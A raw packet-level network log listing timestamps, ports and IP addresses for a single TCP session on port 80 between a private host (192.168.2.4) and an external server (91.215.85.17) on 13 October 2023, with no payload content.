Oct 13, 2023 16:05:54.040816069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040863991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040906906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.041002989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.041071892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.041110039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.365850925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.365875959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.365892887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.365955114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.365963936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366003990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.366087914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366170883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366187096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366208076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.366241932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366293907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366296053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.366364956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366400957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.366405010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366467953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366503954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.366544008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366657019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.366692066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.366714001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367163897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367203951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.367233992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367341042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367377043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.367460966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367527962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367563963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.367645979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367705107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367738962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.367764950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367889881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.367929935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.368164062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368266106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368302107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.368361950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368453026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368486881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.368530035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368632078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368669987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368680954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.368707895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368746996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.368829012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368881941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.368917942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.368927956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369059086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369093895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.369124889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369204998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369240999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.369273901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369757891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369795084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.369813919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369925976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.369961977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.369992971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.370464087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.370481014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.370502949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.370549917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.370589018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.370630980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371009111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371046066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.371062040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371277094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371311903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.371332884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371392012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371428013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.371491909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371507883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371548891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.371612072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371745110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.371786118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.371889114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372056007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372090101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372138977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372154951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372189999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372217894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372296095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372334003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372334957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372415066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372450113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372495890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372622967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372638941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372654915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372670889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372731924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372766018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372831106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372921944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.372955084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.372973919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373083115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373119116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.373250961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373311996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373358965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.373368025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373577118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.373785019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.373788118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373828888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.373858929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373938084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.373956919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.373975039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.374052048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374140024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374176025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.374236107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374294043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374330997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.374424934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374665976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374702930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.374831915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374891043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.374924898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.374969959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375046015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375080109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.375109911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375186920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375221014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.375251055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375391006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375427961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.375472069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375544071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375577927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.375622034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375672102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375705004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.375787020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375844002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.375876904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.375900984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376015902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376055002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.376076937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376094103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376127958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.376172066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376255035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376287937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.376337051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376389027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376422882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.376601934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376866102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.376904011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.377012968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377186060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377228022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.377290010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377351999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377388954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.377392054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377563000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377598047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.377743959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377795935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.377831936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.377928019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378005028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378048897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.378175020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378283978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378319025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.378552914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378762960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378799915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.378812075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378947020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.378984928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379053116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379156113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379201889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379255056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379306078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379336119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379345894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379409075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379446030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379457951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379616022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379632950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379648924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379657030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379692078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379719019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379813910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379856110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379861116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379909992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.379952908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.379983902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380028009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380101919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.380274057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380325079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380366087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.380410910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380475998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380515099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.380537033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380567074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380601883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.380618095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380670071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380705118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.380820990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380873919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380911112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.380913019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380983114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.380999088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381077051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381138086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381177902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381238937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381349087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381366014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381448984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.381452084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381484985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.381484985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381563902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381603003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.381633043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381694078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381728888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.381773949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381825924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381861925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.381869078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381900072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.381937981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.381982088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382030964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382066011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382097006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382163048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382205009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382250071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382313967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382355928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382365942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382443905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382462025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382483006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382545948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382581949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382600069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382679939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382718086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382746935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382776976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382811069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382832050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382890940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382925987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.382953882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.382991076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.383029938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.383074999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.383172989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.383209944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.383210897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.383295059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.383335114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.719095945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.773047924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.819000959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.819046974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.163254023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.180330038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.188153028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.188208103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.530951977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550292015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550323963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550393105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550398111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.550465107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550515890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.550559044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550669909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550718069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.550739050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550827980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.550873995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.550934076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551042080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551086903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551089048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551162958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551203012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551208973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551280975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551325083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551335096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551371098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551415920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551434040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551465988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551506996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551546097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551584005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551629066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551650047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551727057 CEST	80	49762	91.215.85.17	192.168.2.4
